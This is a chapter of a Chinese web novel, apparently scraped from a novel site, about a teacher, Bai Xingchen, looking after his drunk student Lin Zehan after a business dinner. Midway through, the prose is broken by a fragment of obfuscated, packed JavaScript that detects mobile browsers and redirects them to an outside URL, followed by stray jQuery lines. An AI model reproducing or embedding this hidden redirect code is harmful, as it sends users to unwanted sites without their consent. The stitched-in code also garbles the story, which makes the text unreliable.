林家非常注重保护孩子,上次参加陈家的宴会是林泽寒第一次在公众面前出现,消息早就传遍了,但大部分人仍处于“只闻其名,未见其人”的状态。
因此,当王总看到他时,根本没忘这方面想。
林泽寒就这样毫无预兆地出现在自己面前,跟在白行尘后面,要说生疏,两人小动作互动不断,但要说黏人,也没到那一步。
明眼人都能看出来,两人关系很好,不是普通的好,是那种……他自己也说不清,不知道怎么形容最贴切,只觉得两人之间的感觉,别人想插也插不进去。
不是,他没听说林家和白耀资本合作了呀,难道他消息又落后了?
心里划过念头,脸上很快调整过来,露出和善的笑容,一副关照小辈的样子:“泽寒是吧,你好你好,代我向林总问好。”
“王总您好。”林泽寒动作熟练地拉开椅子,让白行尘坐下,自己则顺势落座在他旁边。
那动作一气呵成,肩膀之间距离极近,几乎要碰到一起,两人都已习惯,没觉得有什么不对。
王总将两人动作尽收眼底,心底疑惑却越来越多,他斟酌着开口:“白总,泽寒是来……”
他递出一个话头,白行尘顺着解释道:“目前是我学生。”
王总露出一副恍然大悟的样子,却暗暗咂舌,林家出了多少钱,能让白行尘做林泽寒的私人老师?
一旦搭上这样的关系,在外界看来,白耀资本和林家就天然绑定,毕竟一日为师,终身为父,依他看,就冲着“目前”这两个字,后续两家一定会有合作。
想到这,他立刻对这件事郑重起来,如果能打好关系,指不定能带上他,当个小合作方也足够了。
这可是他的绝佳机会啊。
王总洋洋洒洒的心理活动两人一概不知,脑补的合作更是八字没一撇。
菜逐渐一一上来,王总先全场举杯,庆功宴开始。
“老师,这个不错,你尝尝。”林泽寒尝了一口面前的虾球,眼睛一亮,用公筷给白行尘夹了一颗。
“好。”白行尘夹起来尝了尝,点了点头,没有客套,动作十分自然。
王总倒了一小杯酒,瞥向旁边。两个人状若无人般一个夹菜一个吃,时不时聊上两句,声音压得低,只说给对方听,完全将其他人隔绝在外。
他观察了半天,一个空隙都没抓住。
这酒不敬不行啊。
他的目光在酒杯和两人之间来回扫,终于下定决心,深吸一口气,端起酒杯直接莽过去:“白总,我敬你一杯。”
嘴里正塞着东西的白行尘愣了一下,随即放下筷子,伸手去拿面前的酒杯。
一只手突然从旁边伸过来,盖在他的手背上。
那触感温热,留下一丝痒意,林泽寒手指修长,骨节分明,完全覆盖住他的手背,轻轻用力向下压了压,指尖在上面停留一瞬,仿佛无声的安抚。
“王总,老师中午没吃东西,我替他敬您。”
林泽寒端起酒杯,起身越过白行尘,横在两人中间。
他声音带笑和王总碰了一下,话语中带着年轻人特有的爽朗,姿态却是说一不二,不容拒绝。
王总受宠若惊,听到他的话后深觉自己刚才实在冲动了,连忙顺着台阶下:“好好好,你们师生二人关系真好,我一口干了!”
随着他的动作,林泽寒也仰头,一小杯白酒从喉咙滑下去,喉结滚动,酒杯见底。
“你们多吃点,多吃点。”王总拱手示意,坐回自己的位置上。
白行尘时刻注意着林泽寒,见他直接一口干了,伸手接过他的酒杯,扶住胳膊:“怎么样,难受吗?”
“不用替我喝,”他面露关心,眉头微蹙,像是后悔没拦住那杯酒,“这点酒我应付得来。”
林泽寒大手一挥,顺着他的力道坐下:“没事,老师,就这一杯没问题的。”
“您中午没吃多少,喝完胃会难受。”
他吐字清晰,不像受影响的样子,白行尘稍放下心,倒了杯果汁递过去:“后面喝果汁,别喝酒了,我来就行。”
“好。”林泽寒听话地握住他递过来的果汁,冲他笑了笑。
原本想要大喝特喝一番的王总在林泽寒发话后,愣是一杯都不敢敬,到庆功宴结束,两人拢共就喝了一杯,还全进了林泽寒肚子里。
林泽寒起初没觉得有什么不妥,以他的酒量,这一杯白酒不算什么。
但他忽略了一个事实,他太久没喝了,猛然一接触,酒精顺着喉咙在胃里散发出来,向全身弥漫。
白行尘时刻注意着旁边人的举动,林泽寒埋头苦吃,一句话都不说,耳尖却悄悄泛红,逐渐蔓延向脖颈。
直到王总看两人差不多吃好,起来张罗结束的事。一场庆功宴下来,所有人吃得那叫一个实打实,填满了空荡荡的胃。
“感谢白总,您二位回去慢点,我就先走了。”见林泽寒半天没有起身,王总朝白行尘伸出一只手。
白行尘浅浅交握:“好,回见。”
王总笑着点点头,带着助理走出包厢,门合上的瞬间,空荡的房间中顿时只剩下两个人。
白行尘低头看向动作乖巧坐在椅子上的人,感觉有点奇怪,林泽寒此刻坐得笔直,像是在努力维持某种平衡。
他凑过去,小声问:“林泽寒?”
“嗯?”林泽寒转过来,慵懒的鼻音发出一声回应,微微仰起头看着他,动作看似正常,眼神却没有聚焦。
白行尘的心猛地跳了一下,伸出手指在他眼前晃了晃:“这是几?”
“这是……这是……”
林泽寒缓慢地理解问句里的意思,嘴上无意识重复着,却迟迟没有给出答案。他的视线滑向手指后方的脸上,忽然笑了。
“老师,”他声音轻得像是在撒娇,“你晃什么呀,我头晕。”
这是真的喝醉了,还醉的不轻。
白行尘扶额,如果早知道,不管如何都要拦着他。
他俯身凑近,平日里冷冽的声音此刻却透露出一丝温柔:“庆功宴结束了,我们现在要回去。”
两人此刻离得很近,鼻尖之间只隔了两三厘米,白行尘温热的呼吸扫过眼前人脸上的绒毛,林泽寒身上的淡淡酒味此刻变得清晰可闻。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487468|202093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“嗯。”不管他说什么,林泽寒都积极回应,却丝毫没有动作。他只是看着白行尘,眼睛一眨不眨。
白行尘直接伸手,两只胳膊揽着林泽寒的手臂,用力将他带起来。
林泽寒顺着他的动作站起来,脚下没站稳,踉跄几步,身体不受控地歪了一下,直直撞进白行尘怀里。
“唔。”他额头抵在白行尘肩上,毫无意识地蹭了蹭,随后安静下来,不再动作。
白行尘身体瞬间僵住。
他伸出手,揽住林泽寒,将他稳稳扶住。
“能走吗?”
“能……”林泽寒口头答应,腿上却没有动作。
白行尘叹了口气,一手拉着他的胳膊,一手尽力揽着他的腰,带着他一步一步向外走。
一路上,两人成了一道靓丽的风景线。林泽寒脚步有些虚浮,却跟着白行尘的动作往前走,头歪向他,颇像依偎人身上的大型动物。
那姿势太过亲密,像是搀扶,又像是拥抱,分不清界限。
白行尘却顾不得这些,他全部注意力都在林泽寒身上,怕他突然摔倒或是撞到人。林泽寒部分重量压在他肩上,呼吸喷在他的颈侧,时时刻刻彰显着存在感。
到了门口,他小心翼翼引着林泽寒坐进后座,自己坐在旁边,启程出发。
虽然林泽寒听不懂话,但能察觉到他的动作,并跟着他的动作行动,因此白行尘没费多少力气,只是需要耐心和引导。
想到这,“幼儿教师”这个词突然从白行尘脑子里蹦出来,他摇了摇头,被自己的联想逗笑了。
林泽寒整个人瘫在座位上,双眼紧闭,呼吸绵长。
白行尘查看待办事项,这次出差,合同谈得很顺利,几乎没什么阻碍,因此,原本预留给签合同的明天完全空了出来。
“你明天想去哪里玩吗?”
他下意识问,转头看向旁边,安静靠在靠垫上的人头向他这边歪过来,似乎毫无意识。
……忘记他喝醉了。
白行尘这才反应过来,在心里叹了口气,突然对这种得不到回应的情况有些不适应。
算了,等他清醒再问。
白行尘转头,视线移回的途中,旁边传来一声轻哼。
“嗯?”一句自然的接问响起,带着鼻腔的震动和沙哑的嗓音。
林泽寒眨着双眼睁开一条缝,有些朦胧,将熟悉的人影尽收眼底后,他安下心,将身体调整到一个更舒服的姿势。
迷迷糊糊之间,他嘟囔道:“烟花。”
白行尘不太确定地重复:“烟花?”
“嗯,烟花。”林泽寒声音很轻,像是在梦里。
“一起去……”他继续说,声音越来越轻。
说完,他仿佛终于交代了什么重要的事情一般,彻底睡了过去,独留白行尘一手撑在他身边,半边身子探过来,还在想着那两个字。
回过神后,他打开手机搜索,“夏日花火会”的广告精准推送到手机屏幕上,他点进去,心下了然。
原来是想看烟花。
“好,”白行尘说,声音在两人之间流转,“带你去看烟花。”